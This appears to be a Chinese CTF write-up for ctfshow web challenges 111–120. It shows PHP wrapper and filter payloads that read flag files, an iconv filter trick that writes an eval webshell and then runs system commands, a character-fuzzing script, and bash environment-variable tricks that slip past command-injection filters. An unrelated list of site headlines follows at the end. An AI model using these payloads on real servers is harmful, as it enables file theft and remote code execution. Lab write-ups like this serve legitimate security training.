当前位置: 首页 > news >正文

web入门111-120

web111

分析代码
image
v1必须等于ctfshow,v2使用全局变量
?v1=ctfshow&v2=GLOBALS
image

web112

分析代码
image
使用伪协议
?file=php://filter/resource=flag.php
image

web113

分析代码
image
使用zlib:// 伪协议
?file=compress.zlib://flag.php
image

web114

分析代码
image
file=php://filter/resource=flag.php
image

web115

分析代码
image
使用%0c(换页符)绕过
image

web116

下载视频,使用随波逐流打开
image
使用foremost分离,发现一张图片
image
分析代码可知不传参会默认下载视频,传参会读取文件
?file=flag.php
将下载的文件改成.php,打开文件获得flag
image

web117

分析代码
image
filter没有过滤,利用convert.iconv.UCS-2BE.UCS-2LE过滤器

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
contents=?<hp pe@av(l_$EG[T]1;)>?

访问hac.php
/hack.php?1=system('tac flag.php');
image

web118

image
发现过滤了很多字符,写一个脚本来判断什么字符可以输入

点击查看代码
import requests
import stringurl = "http://508c84d2-774f-4d2f-8104-8b80c0f20b8a.challenge.ctf.show/"
list = string.ascii_letters+string.digits+"~!@#$%^&*()_+-=[]|;':,./<>?"white_list=""for payload in list:data = {"code":payload}res = requests.post(url,data=data)if "evil input" not in res.text:white_list+=payloadprint(f"当前白名单: {white_list}")

image
可以发现可以输出大写字母和一些符号,可以通过环境变量来构造命令

利用各个环境变量的最后一位来构造命令
${PWD}表示当前所在的目录
一般的话都会是/var/www/html
${PATH}表示文件位置相关的环境变量
基本上指的是根目录下的bin目录
即:/var/www/html # ls /bin那么${PWD:~A}的结果就是字母 l
而${PATH:~A}的结果是字母 n  
这里的~A代表是最后一位字符,相应B就是导数第二位字符。同样数字的话0就是最后一位字符
它们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php

构造payload${PATH:~A}${PWD:~A}$IFS????.??
image

web119

image
跟上一关一样先跑一下可以输入什么字符
image
要使用/bin/base64 flag.php,只需要构造/和4就行了

$PWD和${PWD}    表示当前所在的目录	/var/www/html
${#PWD}         13		前面加个#表示当前目录字符串长度
${PWD:3}        r/www/html	代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3}    	html	    	代表从最后面开始向前截取几位(从零开始)
${PWD:3:1}     	r
${PWD:~3:1} 	h
${PWD:~A}	l		这里的A其实就是表示1
${SHLVL:~A} 	1		代表数字1
${#RANDOM}			随机数

构造payload${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
多试几次,因为${#RANDOM}是随机的
image
解码得到flag
image

web120

分析代码
image
可以使用上一关的payload,发现长度超过了限制,但是不影响,因为没有禁用空格,可以用空格代替${IFS},跟上一关一样要多试几次
image
解码得到flag
image

http://www.jsqmd.com/news/263761/

相关文章:

  • 第 485 场周赛Q1——3813. 元音辅音得分
  • 恶意代码分析:在沙箱中运行勒索病毒,用 IDA Pro 逆向它的加密逻辑
  • 导师严选2026 AI论文网站TOP8:继续教育写作全攻略
  • LLM 推理加速:深入 vLLM 源码,揭秘 PagedAttention 如何让吞吐量提升 20 倍?
  • 完整教程:【Go/Python/Java】基础语法+核心特性对比
  • 数据交易中的数据质量评估方法
  • 数据结构3.0 栈、队列和数组
  • 算子优化实战:手写 Triton Kernel,将 LayerNorm 算子的执行时间压缩 50%
  • 深度测评自考必备一键生成论文工具TOP8
  • Linux实操篇
  • 51单片机智能遮阳篷窗户帘衣架蓝牙APP光雨滴检测41(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码
  • Java 并发探秘:JCTools 源码剖析,为什么 Netty 放弃 JDK 自带队列而选择 MpscArrayQueue?
  • todo
  • Go 调度器 (GMP) 揭秘:从汇编角度看 Goroutine 是如何实现“协程切换”的?
  • 【创新未发表】基于matlab鸡群算法CSO和自适应双种群协同鸡群算法ADPCCSO无人机避障三维航迹规划【含Matlab源码 14980期】
  • 第 174 场双周赛Q2——3810. 变成目标数组的最少操作次数
  • 【无人机三维路径规划】基于matlab鸡群算法CSO和自适应双种群协同鸡群算法ADPCCSO复杂山地模型下无人机路径规划【含Matlab源码 14981期】
  • Day22-20260118
  • 强烈安利9个AI论文写作软件,专科生搞定毕业论文!
  • 【雷达跟踪】基于matlab面向目标跟踪的雷达干扰方法:提升航空器战场生存力的关键技术【含Matlab源码 14983期】复现含文献
  • 【雷达相控阵】毫米波相控阵中空间Zadoff-Chu调制快速波束对准【含Matlab源码 14977期】
  • 卷积神经网络的开端:$LeNet-5$
  • 【雷达相控阵】基于matlab毫米波相控阵中空间Zadoff-Chu调制快速波束对准【含Matlab源码 14977期】
  • 【心电信号ECG】SVM心电图心搏检测与分类【含Matlab源码 14982期】复现含文献
  • 【心电信号ECG】基于matlab SVM心电图心搏检测与分类【含Matlab源码 14982期】复现含文献
  • 【心血管疾病】心脏病数据集Kaggle医学特征二元分类预测心血管疾病【含Matlab源码 14984期】含报告
  • 社交网络数据科学:完整项目实战指南
  • Hive与DynamoDB集成:云原生大数据方案
  • 【创新未发表】鸡群算法CSO和自适应双种群协同鸡群算法ADPCCSO无人机避障三维航迹规划【含Matlab源码 14980期】
  • Flutter × OpenHarmony 跨端汇率转换应用:货币数据模型与页面实现